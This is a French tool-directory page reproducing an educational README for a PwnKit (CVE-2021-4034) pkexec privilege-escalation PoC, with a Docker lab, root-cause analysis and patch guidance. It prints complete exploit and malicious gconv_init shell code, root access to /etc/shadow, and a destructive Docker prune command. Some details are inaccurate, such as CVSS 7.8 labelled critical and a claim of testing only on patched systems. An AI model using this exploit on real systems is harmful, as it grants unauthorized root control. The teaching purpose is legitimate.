Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/krleejihyeong/whs4_cve-2021-4034
Escalade de PrivilègesAnalyse des VulnérabilitésExploitationCTFTests d'IntrusionApprentissage et ÉducationExploitation de BinairesLabs et Pratique

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
GitHub
krleejihyeong/whs4_cve-2021-4034

WHS4_CVE-2021-4034

PoC éducatif et analyse de la vulnérabilité d'escalade de privilèges locaux CVE-2021-4034 (PwnKit) dans pkexec de polkit, avec un laboratoire basé sur Docker pour une pratique concrète d'exploitation et de défense.

Voir le dépôt
6il y a 1 moisPas encore vérifié

CVE-2021-4034 (PwnKit) - Preuve de concept d'élévation de privilèges locale

🔗 Projet original : berdav/CVE-2021-4034
Ce projet est une version analysée et modifiée à des fins éducatives basée sur l'original.
Sous licence MIT | Projet éducatif White Hat School


📋 Aperçu

CVE-2021-4034 est une vulnérabilité d'élévation de privilèges locaux dans policykit-1 (PolicyKit) de Linux. Un utilisateur normal peut exécuter pkexec sans argument et exploiter une faille dans la structure mémoire du processus, ce qui amène glib à référencer à nouveau une chaîne de variable d'environnement qui aurait dû être filtrée, chargeant ainsi un fichier .so malveillant pour obtenir les privilèges root.

⚠️ Usage éducatif uniquement : ce code ne doit être utilisé que dans des systèmes modifiés. L'utiliser pour attaquer des systèmes réels peut entraîner des poursuites judiciaires.


🎯 Résumé de la vulnérabilité

Il est facile de penser qu'il s'agit d'un problème propre à Ubuntu, mais comme c'est un défaut de logique dans pkexec lui-même, la plupart des distributions utilisant polkit sont affectées. L'environnement de test Docker étant Ubuntu 20.04, j'ai noté cette version dans le tableau ci-dessus.


🔴 Cœur de la vulnérabilité

Au départ, j'ai pensé que c'était un problème dû à l'absence de validation des variables d'environnement, mais en examinant le code source et le commit de correction, j'ai réalisé que l'ordre était un peu différent. La véritable cause est ailleurs, et le problème des variables d'environnement est plutôt une conséquence de cette cause. Voici le flux réorganisé dans l'ordre des causes.

1. Qu'est-ce que pkexec ?

pkexec est un programme SUID-root qui demande une élévation de privilèges via PolicyKit.

root@kitploit:~
# Exemple : exécuter une commande avec les privilèges root
pkexec /bin/id
pkexec systemctl restart service

Il est utilisé lorsqu'un utilisateur normal souhaite effectuer certaines tâches avec les droits d'administrateur.


2. Cause racine réelle : pkexec ne gère pas le cas où argc == 0

La fonction main() de pkexec, dans la partie traitant les arguments de la ligne de commande, ne vérifie pas le cas où aucun argument n'est fourni (argc == 0). C'est le véritable point de départ de cette vulnérabilité.

  • Exécution normale : argv = {"pkexec", "commande", NULL} → argc >= 1
  • Exécution d'attaque : execve("/usr/bin/pkexec", {NULL}, env) → argc == 0

Lorsque argc est 0, la liste argv ne contient plus qu'un seul NULL indiquant la fin. Cependant, la logique interne de pkexec tente de lire et d'écrire dans argv[1] qui n'existe pas. Le problème est que Linux, lors de l'exécution d'un processus, place le tableau argv et le tableau envp (variables d'environnement) côte à côte en mémoire. Ainsi, l'accès à argv[1] hors limites pointe en fait vers envp[0], c'est-à-dire la première variable d'environnement.

root@kitploit:~
Situation normale :  argv = [ "pkexec" | NULL ]
Situation d'attaque :  argv = [ NULL ]                 ← argc = 0
                    ↑
             Accès à argv[1] inexistant
                    ↓
      Lit et écrit dans envp[0] situé juste après en mémoire (hors limites)

Pourquoi est-ce dangereux :

  • Normalement, ld.so supprime les variables d'environnement dangereuses comme GCONV_PATH, LD_PRELOAD avant l'exécution du programme SUID (pkexec) car elles sont considérées comme non sûres.
  • Cependant, à cause du comportement hors limites décrit ci-dessus, la chaîne déjà supprimée n'est pas 'restaurée en tant que variable d'environnement', mais le pointeur argv permet de référencer à nouveau cette chaîne. En d'autres termes, ce n'est pas la valeur qui revit, mais plutôt une connexion de pointeur vers cette valeur qui est recréée.
  • Le commit de correction a également corrigé cette partie en ajoutant une logique de vérification pour terminer immédiatement si argc < 1. (CWE-125 out-of-bounds read, CWE-787 out-of-bounds write)

📌 En résumé : L'absence de validation des variables d'environnement est une 'condition permettant l'attaque', et la véritable cause racine est que pkexec ne gère pas le cas où argc == 0. Le point 3 ci-dessous est la conséquence de cette cause.


3. Conséquence : la chaîne qui aurait dû être filtrée redevient référençable

Grâce au comportement hors limites expliqué au point 2, lorsque pkexec initialise glib, cette chaîne est réutilisée sans être vérifiée.

root@kitploit:~
// CVE-2021-4034_exploit.c
char * const env[] = {
    "GCONV_PATH=.",      // 원래는 ld.so가 걸러냈어야 함
    "CHARSET=PWNKIT",    // 존재하지 않는 인코딩
};

execve("/usr/bin/pkexec", args, env);  // argv는 비워서 argc=0을 만듦

Problème :

  • À cause de l'OOB du point 2, cette chaîne redevient référençable et se retrouve dans l'étape d'initialisation de glib.
  • Du point de vue de glib, il n'y a aucun moyen de distinguer si cette valeur est une variable d'environnement normale d'origine ou une valeur ramenée par l'attaquant.

4. Exploitation du mécanisme de chargement de convertisseur de glib

Ce qui est important ici, c'est que glib lui-même n'est pas en faute. Si GCONV_PATH est défini, chercher un convertisseur dans ce chemin est un comportement normal de glib. Le problème est que pkexec a déjà brisé l'état d'exécution sécurisée (l'état où les variables d'environnement dangereuses ont été supprimées) — glib n'a fait que fonctionner normalement, mais ce fonctionnement normal est exploité.

  1. Vérification de la variable d'environnement CHARSET

    root@kitploit:~
    CHARSET=PWNKIT
    
  2. Recherche de la définition du convertisseur dans le fichier gconv-modules

    root@kitploit:~
    module UTF-8// PWNKIT// pwnkit 1
    
  3. Chargement du fichier .so depuis GCONV_PATH

    root@kitploit:~
    GCONV_PATH=. → cherche pwnkit.so dans le répertoire courant
    
  4. Exécution automatique de la fonction d'initialisation du .so

    root@kitploit:~
    // pwnkit.c - .so 파일 로드 시 자동으로 실행됨
    void gconv_init(void *step)
    {
        setuid(0);           // root 권한 획득
        setgid(0);
        execve("/bin/sh");   // root shell 실행!
    }
    

    On pourrait facilement appeler gconv_init une 'fonction constructeur', mais strictement parlant, ce n'est pas comme __attribute__((constructor)) en C. C'est précisément une fonction d'initialisation définie dans l'interface du module gconv, que glib appelle explicitement après avoir chargé le .so avec dlopen.


5. Flux d'attaque global

root@kitploit:~
┌─────────────────────────────────────┐
│ Utilisateur normal (uid=1000)        │
└─────────────────────────────────────┘
          │
          │ 1. Exécute pkexec avec argv vide (argc=0)
          │    + variables d'environnement malveillantes
          │    GCONV_PATH=.  /  CHARSET=PWNKIT
          ↓
┌─────────────────────────────────────┐
│ Exécution de pkexec                  │
│ Pas de vérification de argc → OOB   │
│ → chaîne référencée à nouveau        │
└─────────────────────────────────────┘
          │
          │ 2. glib traite normalement
          │    Cherche l'encodage CHARSET=PWNKIT
          │    Trouve le convertisseur dans GCONV_PATH=.
          ↓
┌─────────────────────────────────────┐
│ Chargement de pwnkit.so              │
│ (fichier .so malveillant dans le     │
│  répertoire courant)                 │
└─────────────────────────────────────┘
          │
          │ 3. Fonction d'initialisation gconv exécutée automatiquement (root !)
          ↓
┌─────────────────────────────────────┐
│ Obtention d'un shell root ✅         │
│ uid=0(root) gid=0(root)              │
└─────────────────────────────────────┘

🚀 Démarrage rapide

Prérequis

  • Docker (ou Docker Desktop)
  • git
  • Environnement Linux (ou WSL 2)

Commandes d'exécution

root@kitploit:~
# 1. Récupérer le projet
git clone https://github.com/krleejihyeong/WHS4_CVE-2021-4034.git
cd WHS4_CVE-2021-4034

# 2. Vérifier la dernière version
git pull origin main

# 3. Construire (sans cache)
docker compose build --no-cache

# 4. Exécuter
docker compose up

Je recommande d'utiliser docker system prune -a --volumes --force uniquement si la méthode ci-dessus ne fonctionne pas à cause de caches ou de volumes corrompus. C'est une commande assez agressive qui supprime tous les caches Docker du système, ce qui peut également effacer les caches d'autres projets. J'ai détaillé cela dans la section 'Problèmes rencontrés et solutions' ci-dessous.

Résultat attendu

root@kitploit:~
pwnkit  | 현재 권한 (공격 전): uid=1000(WHS4_student)
pwnkit  | # id
pwnkit  | uid=0(root) gid=0(root) groups=0(root)  ← 성공! ✅

Résultat réel


📁 Structure du projet

root@kitploit:~
WHS4_CVE-2021-4034/
├── docker-compose.yml          # Configuration Docker Compose
├── Dockerfile                   # Environnement Ubuntu 20.04 vulnérable
├── start.sh                     # Initialisation et exécution automatique du conteneur
├── Makefile                     # Configuration de construction
├── CVE-2021-4034_exploit.c      # Code d'exploit (appel à pkexec)
├── pwnkit.c                     # Fichier .so malveillant (élévation de privilèges)
├── gconv-modules                # Mappage du convertisseur glib
├── README.md                    # Ce fichier
└── LICENSE                      # License MIT

💻 Analyse du code du PoC

CVE-2021-4034_exploit.c

root@kitploit:~
#include <unistd.h>

int main(int argc, char *argv[])
{
    // pkexec에 실행할 프로그램을 지정하지 않음
    // (args에 NULL만 있음) → 이게 곧 argc=0을 만드는 부분
    char * const args[] = {
        NULL
    };

    // 🔴 검증되지 않은 악의적 환경변수
    // argc=0으로 인한 OOB 덕분에 다시 참조 가능해져 pkexec에 그대로 전달됨
    char * const env[] = {
        "GCONV_PATH=.",          // converter 경로 (현재 디렉토리)
        "CHARSET=PWNKIT",        // 존재하지 않는 인코딩
        "SHELL=/bin/sh",
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // pkexec 실행 (인자 없이 → argc=0 트리거)
    execve("/usr/bin/pkexec", args, env);

    return 0;
}

Points clés :

  • args ne contient même pas le nom de pkexec lui-même, ce qui fait que argc = 0 → déclenche la cause racine (absence de vérification de argc)
  • GCONV_PATH=. : après être redevenu référençable via l'OOB, glib cherche un convertisseur dans ce chemin
  • CHARSET=PWNKIT : incite glib à chercher un convertisseur pour cet encodage

pwnkit.c

root@kitploit:~
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

// .so 파일을 converter로 인식하기 위한 함수 (형식상 필요)
void gconv()
{
}

// 🎯 CVE-2021-4034의 핵심
// .so 파일 로드 시 glib이 dlopen 후 명시적으로 호출하는 초기화 함수
// 이 함수가 root 권한으로 실행된다! ← 핵심 취약점!
void gconv_init(void *step)
{
    char * const args[] = {
        "/bin/sh",      // root shell 실행
        NULL
    };
    char * const env[] = {
        "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
        NULL
    };

    // root 권한 명시적 설정 (이미 root이지만)
    setuid(0);
    setgid(0);

    // root shell 실행 ← 권한 상승 성공!
    execve(args[0], args, env);

    exit(0);
}

Points clés :

  • gconv_init() n'est pas un attribut de constructeur C, mais une fonction d'initialisation que glib appelle directement après dlopen selon les spécifications de l'interface du module gconv
  • pkexec étant exécuté avec les privilèges root, cette fonction s'exécute également avec les privilèges root
  • Ainsi, après setuid(0), l'exécution d'un shell donne directement un shell root

✅ Résultats de la vérification

Les résultats de vérification ci-dessous sont basés sur la mise en place de l'environnement et l'exécution de l'exploit manuellement. En d'autres termes, en utilisant le démarrage rapide, on n'obtiendra pas les résultats ci-dessous.

Pour obtenir ces résultats, il faut construire l'environnement manuellement en utilisant le Dockerfile, start.sh, etc. de ce dépôt.

Cependant, comme start.sh et Dockerfile ont été automatisés pour correspondre au format du projet, les utiliser tels quels peuvent ne pas donner les résultats attendus.

Il faut donc modifier ces fichiers manuellement.

Avant l'attaque

root@kitploit:~
$ id
uid=1000(WHS4_student) gid=1000(WHS4_student) groups=1000(WHS4_student),27(sudo)

$ cat /etc/shadow
cat: /etc/shadow: Permission denied

Autorisations réelles avant l'attaque

En réalité, cette capture d'écran a été prise lors de la première réussite de l'exploit et montre les autorisations de l'utilisateur ci-dessus.

Exécution de l'attaque

root@kitploit:~
$ ./CVE-2021-4034_exploit

Remarque : l'exploit lui-même ne nécessite pas sudo. Comme pkexec est déjà un binaire SUID-root, obtenir un shell root avec seulement les privilèges d'un utilisateur normal est le cœur de cette vulnérabilité. J'ai utilisé sudo -E dans l'environnement Docker de test, mais c'était pour faciliter l'exécution en vérifiant la configuration NOPASSWD, sans rapport avec la vulnérabilité elle-même.

Après l'attaque

root@kitploit:~
# id
uid=0(root) gid=0(root) groups=0(root)

# cat /etc/shadow
root:*:18783:0:99999:7:::
daemon:*:18783:0:99999:7:::
... (contenu visible uniquement par root)

Autorisations réelles après l'attaque

On voit ci-dessus que les privilèges root sont obtenus après l'attaque. Pour une vue plus complète avant et après l'attaque, je recommande de regarder la capture d'écran dans la section ### Autorisations réelles avant l'attaque ci-dessus.

✅ Élévation de privilèges réussie !


📊 Indicateurs d'évaluation

Reproductibilité

Reproduction réussie dans un environnement Docker basé sur Ubuntu 20.04 (policykit-1 0.105-26ubuntu1). Le nombre de tests répétés n'étant pas encore élevé, je prévois de faire quelques exécutions supplémentaires en changeant les versions du noyau et de la distribution, puis de compléter les résultats.

Score de risque : 7,8 / 10,0 (Critique, selon CVSS 3.1)

  • Privilèges requis : Il s'agit d'une attaque locale, non d'une attaque à distance, et il ne s'agit pas d'un contournement d'authentification à distance. Si un utilisateur est connecté avec un compte utilisateur normal, l'attaque peut être réalisée sans privilèges supplémentaires (Privileges Required: Low). Cela signifie non pas qu'aucune authentification n'est nécessaire, mais que 'la connexion elle-même est nécessaire, mais aucun privilège supplémentaire n'est requis'.
  • Vecteur d'attaque : Local uniquement (Attack Vector: Local) — cette vulnérabilité ne peut pas être exploitée directement à distance, il faut d'abord obtenir un accès local à un shell.
  • Portée de l'impact : Scope: Changed. Étant donné que pkexec est exécuté avec les privilèges root via un composant de gestion de privilèges distinct appelé PolicyKit, lorsqu'une vulnérabilité est exploitée, l'impact dépasse le domaine de privilèges initial de l'attaque (utilisateur normal) pour affecter d'autres domaines de sécurité (root, l'ensemble du système géré par PolicyKit). C'est pourquoi le Scope est évalué comme Changed dans CVSS.
  • Facteurs d'impact : Confidentialité, Intégrité, Disponibilité (C/I/A) tous High
  • Référence : Détail du vecteur CVSS du NVD

🛡️ Méthodes de défense

Réponse immédiate

root@kitploit:~
# 1. Mise à jour du correctif (recommandé)
sudo apt-get update
sudo apt-get install policykit-1=0.105-26ubuntu1.1

# Vérification de la version
dpkg -l | grep policykit-1
# Doit être 0.105-26ubuntu1.1 ou supérieur

Restrictions sudo

root@kitploit:~
# Modifier /etc/sudoers (sudo visudo)
Defaults env_delete = "GCONV_PATH,GCONV_MODULES,CHARSET"

Nettoyage des variables d'environnement

root@kitploit:~
unset GCONV_PATH
unset GCONV_MODULES
unset CHARSET

Le correctif est la solution fondamentale, les deux mesures ci-dessus sont des solutions temporaires utilisables avant le correctif. La validation de argc elle-même est un problème qui ne peut être résolu qu'en corrigeant le code de pkexec, donc simplement bloquer les variables d'environnement ne l'empêchera pas complètement.


⚠️ Problèmes rencontrés et solutions

Problème 1 : commande docker-compose introuvable

Cause : Sur Ubuntu 24.04, docker-compose (v1) n'est pas disponible, seul docker compose (v2) est présent.

Solution :

root@kitploit:~
# Utiliser la commande docker compose (v2)
docker compose up

Problème 2 : « Demande de mot de passe : sudo password for WHS4_student »

Cause : La configuration NOPASSWD du Dockerfile n'est pas correctement appliquée (problème de cache Docker).

Solution :

root@kitploit:~
docker compose build --no-cache
docker compose up

Si cela ne fonctionne toujours pas, effacez complètement le cache et réessayez.

root@kitploit:~
docker compose down -v
docker system prune -a --volumes --force
docker compose up --build --no-cache

Problème 3 : Les mises à jour GitHub ne sont pas reflétées localement

Cause : Les fichiers locaux restent sur une version antérieure.

Solution :

root@kitploit:~
# Récupérer la dernière version depuis GitHub
git pull origin main

# Vérifier les fichiers
cat Dockerfile | grep NOPASSWD
cat start.sh | grep "nofork=false"

# Reconstruire
docker compose up --build --no-cache

Problème 4 : « The container name is already in use »

Cause : Un conteneur existant persiste.

Solution :

root@kitploit:~
# Supprimer le conteneur
docker compose down
docker rm pwnkit -f

# Relancer
docker compose up

Problème 5 : « permission denied » (droits de fichier)

Cause : Les fichiers créés par Docker appartiennent à root.

Solution :

root@kitploit:~
# Sous WSL/Linux
sudo rm -rf WHS4_CVE-2021-4034

📚 Références et sources

Projet original

  • Auteur : berdav
  • Dépôt : https://github.com/berdav/CVE-2021-4034
  • Licence : MIT License
  • Parties référencées :
    • Structure de base de CVE-2021-4034_exploit.c
    • Implémentation de gconv_init dans pwnkit.c
    • Format du fichier gconv-modules
    • Méthode de construction du Makefile

Modifications et ajouts de ce projet

Auteur : krleejihyeong

Parties nouvellement créées/modifiées :

  • ✅ docker-compose.yml : Configuration de l'environnement d'exécution Docker
  • ✅ Dockerfile : Configuration automatique de l'environnement vulnérable (dbus, polkitd, paramètres NOPASSWD)
  • ✅ start.sh : Script d'exécution automatique (construction → exécution de l'attaque entièrement automatisée)
  • ✅ README.md : Analyse de la cause racine de la vulnérabilité (absence de vérification de argc), résultats de reproduction, évaluation des risques, guide de résolution des problèmes
  • ✅ Commentaires et explications en coréen : Amélioration de la compréhension de la vulnérabilité

Références

  • Qualys : Analyse détaillée de CVE-2021-4034
  • NVD : CVE-2021-4034
  • Documentation officielle de PolicyKit

📄 Licence

Ce projet est sous licence MIT.

root@kitploit:~
Copyright (c) 2026 krleejihyeong (Modifications et analyse)
Copyright (c) 2021 berdav (PoC original)

Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.

Pour plus de détails, consultez le fichier LICENSE.


👤 Auteur

  • krleejihyeong - Analyse, modifications, configuration de l'environnement Docker, rédaction de la documentation
  • berdav - Auteur du PoC original (https://github.com/berdav/CVE-2021-4034)

⚠️ Avis légal

Ce projet a été créé à des fins purement éducatives.

  • ✅ Cible une CVE publique
  • ✅ Testé uniquement sur des systèmes corrigés
  • ✅ Utilisé avec l'autorisation de l'administrateur système
  • ✅ Objectif : comprendre la vulnérabilité et renforcer la défense

L'accès non autorisé à un système informatique peut être pénalement sanctionné.


Dernière mise à jour : juillet 2026

Télécharger l’outil
ÉlémentDétail
CVE IDCVE-2021-4034
Nom de la vulnérabilitéPwnKit
Versions affectéesToutes les versions de polkit antérieures à 0.105 sans correctif (environnement de test : policykit-1 0.105-26ubuntu1 sur Ubuntu 20.04)
Type de vulnérabilitéLocal Privilege Escalation (LPE)
SévéritéCritique (CVSS 7.8)
Version corrigéepolicykit-1 >= 0.105-26ubuntu1.1
Date de découverteJuin 2021 (divulguée en janvier 2022)